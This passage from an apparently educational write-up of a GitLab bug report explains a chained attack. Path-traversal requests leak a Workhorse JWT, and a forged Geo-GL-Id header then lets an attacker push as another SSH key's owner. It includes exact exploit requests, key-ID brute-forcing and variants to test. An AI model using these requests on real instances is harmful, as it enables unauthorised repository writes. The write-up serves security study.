def identify_using_ssh_key(identifier)takes the identifier string.key_id = identifier.gsub("key-", "")strips the literal textkey-from the front, leaving just the number.identify_with_cache(:ssh_key, key_id) dowraps the lookup in a cache so repeated lookups are cheap.User.find_by_ssh_key_id(key_id)finds the user who owns the SSH key with that numeric ID.
The consequence the researcher draws is that an attacker can authenticate as the owner of any SSH key simply by passing that key's ID in the Geo-GL-Id header.
Exploitation
The exploit is split into two parts.
Step 1: Exposing the GitLab Workhorse JWT
- Set up a project.
- Get a personal access token of the user.
- Send the following request:
POST /api/v4/projects/<project-id>/terraform/state/%2e%2e%2f%2e%2e%2fwikis%2fattachments?serial=1 HTTP/1.1
Host: gitlab3.example.vm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Private-Token: <private-token>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----[redacted]
Cookie: experimentation_subject_id=[redacted]; _gitlab_session=[redacted]; known_sign_in=[redacted]; sidebar_collapsed=false; event_filter=all
Upgrade-Insecure-Requests: 1
Content-Length: 316
------[redacted]
Content-Disposition: form-data; name="import_url"
http://gitlab3.example.vm/test/ttt
------[redacted]
Content-Disposition: form-data; name="mirror"; filename=test.txt
Content-Type: image/jpg
true
------[redacted]--
What each part does:
POST /api/v4/projects/<project-id>/terraform/state/...is a request to the Terraform state endpoint for a specific project.<project-id>is a placeholder for the project's number.- The path after
state/is%2e%2e%2f%2e%2e%2fwikis%2fattachments. Decoded, that is../../wikis/attachments. The../parts climb out of the Terraform state folder, and the rest points at the place where wiki attachments are stored. This is the path traversal: the endpoint thinks it is writing a Terraform state, but the URL steers it somewhere else. ?serial=1is a query parameter, part of the URL after the question mark.Host: gitlab3.example.vmsays which server the request is for.User-Agentidentifies the browser that supposedly sent it.Private-Token: <private-token>is where the personal access token goes. This is what authenticates the caller to the API.Accept,Accept-Language,Accept-Encoding,Connection,Upgrade-Insecure-Requestsare ordinary browser headers that describe what kind of response the client can handle.Content-Type: multipart/form-data; boundary=----[redacted]says the body is a multipart form, and gives the boundary string that separates its parts.Cookiecarries the browser's session cookies. The values are redacted here because they are secrets.Content-Length: 316is the size of the body in bytes.- The body itself has two parts. The first is named
import_urland containshttp://gitlab3.example.vm/test/ttt. The second is namedmirror, has a filenametest.txt, claims to be animage/jpg, and contains the texttrue.
The endpoint reads the raw body and appends it as a file.
- Later, send the following request:
GET /api/v4/projects/6/terraform/state/%2e%2e%2f%2e HTTP/1.1
Host: gitlab3.example.vm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Private-Token: <Private-Token>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: experimentation_subject_id=[redacted]; _gitlab_session=[redacted]; known_sign_in=[redacted]; sidebar_collapsed=false; event_filter=all
Upgrade-Insecure-Requests: 1
This is a GET request, the kind a browser sends when you open a page. The path again uses traversal: %2e%2e%2f%2e decodes to ../., which climbs up out of the state folder. The headers are the same kind as before, with the personal access token in Private-Token.
The response contains the stored upload metadata, and the JWT is in the mirror.gitlab-workhorse-upload parameter:
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 22 Nov 2020 17:45:01 GMT
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Etag: W/"[redacted]"
Vary: Origin
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Request-Id: wNp4wblZQ42
X-Runtime: 0.119849
Strict-Transport-Security: max-age=31536000
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 2540
--[redacted]
Content-Disposition: form-data; name="import_url"
http://gitlab3.example.vm/test/ttt
--[redacted]
Content-Disposition: form-data; name="mirror.name"
test.txt
--[redacted]
Content-Disposition: form-data; name="mirror.path"
/opt/gitlab/embedded/service/gitlab-rails/public/uploads/tmp/test.txt403239251
--[redacted]
Content-Disposition: form-data; name="mirror.md5"
[redacted]
--[redacted]
Content-Disposition: form-data; name="mirror.sha256"
[redacted]
--[redacted]
Content-Disposition: form-data; name="mirror.gitlab-workhorse-upload"
[redacted]
--[redacted]
Content-Disposition: form-data; name="mirror.remote_id"
--[redacted]
Content-Disposition: form-data; name="mirror.size"
4
--[redacted]
Content-Disposition: form-data; name="mirror.remote_url"
--[redacted]
Content-Disposition: form-data; name="mirror.sha512"
[redacted]
--[redacted]
Content-Disposition: form-data; name="mirror.sha1"
[redacted]
--[redacted]--
What this response shows:
- The top part, before the blank line, is the HTTP status and headers.
HTTP/1.1 200 OKmeans the request succeeded. The other headers are ordinary server metadata: which server software answered, the date, caching rules, security headers, a request ID and how long it took. - The body is a multipart form, again separated by a boundary string. Each part has a
Content-Dispositionline giving its name. import_urlechoes back the URL from the first request.mirror.nameistest.txt, the filename from the first request.mirror.pathis where the file was stored on the server's disk.mirror.md5,mirror.sha256,mirror.sha512andmirror.sha1are checksums: short fingerprints of the file's contents, used to verify it was not corrupted.mirror.sizeis4, the size of the contenttrue.mirror.remote_idandmirror.remote_urlare empty.mirror.gitlab-workhorse-uploadis the important one. It is the JWT that Workhorse signed for this upload. The value ofmirror.gitlab-workhorse-uploadis the JWT to keep for the second part.
Step 2: Unauthorised push to a readable project
Assuming User B has a project that is public or internal with no other user able to push, and User B has uploaded an SSH key:
- Log in as another user.
- Navigate to project B, to which you do not have push access.
- Fork the project.
- Clone the forked project over HTTP.
- Push any file to the project, but intercept the request.
Why each step: you need to be a normal logged-in user (step 1) so you have a session at all. You need to see project B (step 2) because it is public or internal, which is why you can read it. You fork it (step 3) so you have a copy you are allowed to push to, which gives you a legitimate push request to work with. You clone that fork (step 4) so you have something to push. You push (step 5) but catch the request in a tool that lets you edit it before it reaches the server, because the next move is to rewrite that request.
When sending the request to <project-forked-path>.git/git-receive-pack, change the path to /-/push_from_secondary/2/<project-path>.git/git-upload-pack.t%2f%2e%2e%2fgit-receive-pack, add the Gitlab-Workhorse-Api-Request header with the JWT noted in the first part, and add the Geo-GL-Id header with the value key-<id>, where <id> is the ID of any key belonging to a user who has push access to the project (User B). The report notes this ID could be brute-forced because it is an incremental integer starting from 1. The request should look like this:
What each part does:
POST /-/push_from_secondary/2/rrr/dsds.git/...targets the route GitLab uses when a Geo secondary forwards a push to the primary. The2is part of that route, andrrr/dsds.gitis the project path in this example.- The tail of the path is
git-upload-pack.t%2f%2e%2e%2fgit-receive-pack. Decoded,%2f%2e%2e%2fis/../, so the path reads asgit-upload-pack.t/../git-receive-pack. The request starts out looking like a read (git-upload-pack) but the traversal makes it land on the write operation (git-receive-pack). Hostis the server.Geo-GL-Id: key-1is the header that the Geo push user code reads.key-1means "the owner of SSH key number 1". Because key IDs are small integers, an attacker can trykey-1,key-2,key-3and so on until one belongs to a user with push access.User-Agent: git/2.28.0says the request comes from Git itself.Accept-Encodingdescribes compression the client can handle.Gitlab-Workhorse-Api-Requestcarries the JWT from the first part. This is what satisfies the Workhorse API request check, so Rails believes Workhorse already vetted the request.Content-Type: application/x-git-receive-pack-requestandAccept: application/x-git-receive-pack-resultare the content types Git uses for a push.Content-Length: 436is the body size.- The body is the binary Git push data: the old and new commit IDs, the branch name
refs/heads/master, some capability flags, and then aPACKsection containing the actual file being pushed (here a file calledlll2332.txt).
The path uses the push_from_secondary route with an encoded traversal so that the request that starts as a git-upload-pack reaches git-receive-pack. The Gitlab-Workhorse-Api-Request header carries the JWT from the first part, which satisfies the Workhorse API request check. The Geo-GL-Id header selects the user for Gitaly through the Geo push user path, so the push is attributed to the owner of the referenced SSH key rather than to the logged-in attacker.
The report also includes a video of the exploitation. The researcher notes it was reduced in size because of a 256 MB limit.
Root cause
Two weaknesses combine.
First, the Terraform State API reads request.body and appends it as a file, and because Workhorse cleans the URL before passing it to Rails, the state endpoint can be reached through a path that ends up storing attacker-controlled multipart content. The stored upload metadata, including the Workhorse-signed JWT in mirror.gitlab-workhorse-upload, can then be read back through a second traversal request. That gives the attacker a valid Workhorse JWT without going through the normal upload flow.
Second, the EE Git HTTP controller falls back to geo_push_user when the normal user is not present, and Geo::PushUser.new_from_headers builds that user from the Geo-GL-Id header alone, resolving it with User.find_by_ssh_key_id.
Impact
The report states the impact as unauthorised push to repositories and exposure of the Workhorse JWT. The push part depends on the EE plan; Geo itself is not required for the proof of concept. The key ID space is incremental from 1, so the report treats brute force as feasible.
Fix
The report does not describe the fix that was applied.
Variants to test
- Try the same traversal pattern on other API endpoints that read
request.bodyand store it as a file, looking for responses that echo back upload metadata containing agitlab-workhorse-uploadJWT. - On EE instances, send
Geo-GL-Id: key-<n>on Git HTTP routes and check whether the request is attributed to the key owner rather than the session user. - Try the
push_from_secondaryroute with encoded traversal in the path to see whether agit-upload-packrequest can be turned into agit-receive-packrequest. - Enumerate low SSH key IDs against a project you cannot push to and watch for a successful receive-pack result.
Hunting notes
This kind of bug tends to hide where a component in front of the application rewrites or cleans URLs and the backend then trusts the cleaned path, and where a feature-specific authentication path (here the Geo push user) resolves identity from a header instead of the session. During recon, look for EE-only routes such as push_from_secondary, for endpoints that return upload metadata including signed tokens, and for any code path that maps a header value directly to a user lookup. The researcher demonstrated impact by chaining the JWT exposure with an actual push to a project the attacker could not write to, which is what turns a token leak into a high-severity finding.
Glossary
- API: a way for programs to talk to each other over the web, using agreed request formats and paths.
- Cookie: a small piece of data a website stores in your browser so it can recognise you on later requests.
- EE (Enterprise Edition): the paid edition of GitLab, which includes extra features such as Geo.
- Fork: a personal copy of someone else's project that you can change freely.
- Geo: a GitLab feature for running a second, read-only copy of an instance in another location.
- Gitaly: the GitLab component that stores and serves Git repositories on disk.
- GitLab Workhorse: the component in front of the Rails application that handles large uploads and Git HTTP traffic.
- Header: extra information sent alongside a web request, such as a token or a content type.
- JWT (JSON Web Token): a small string of text signed with a secret key, used to prove that a request really came from a trusted source.
- Multipart form data: the format used to send forms that include files, splitting the body into named parts separated by a boundary string.
- Path traversal: using
../(often URL-encoded as%2e%2e%2f) in a path to climb out of the intended folder and reach another one. - Pre-receive hook: a server-side check that runs just before a push is accepted.
- Push: sending your local commits up to the GitLab server.
- Rails: the web framework the main GitLab application is written in.
- SSH key: a pair of cryptographic keys used to prove identity without a password; GitLab stores each with a numeric ID.
- Terraform: a tool for describing infrastructure in files and keeping a record of what it built in a state file.
- URL encoding: writing characters that are not allowed in a URL as a percent sign followed by two hex digits, such as
%2efor a dot.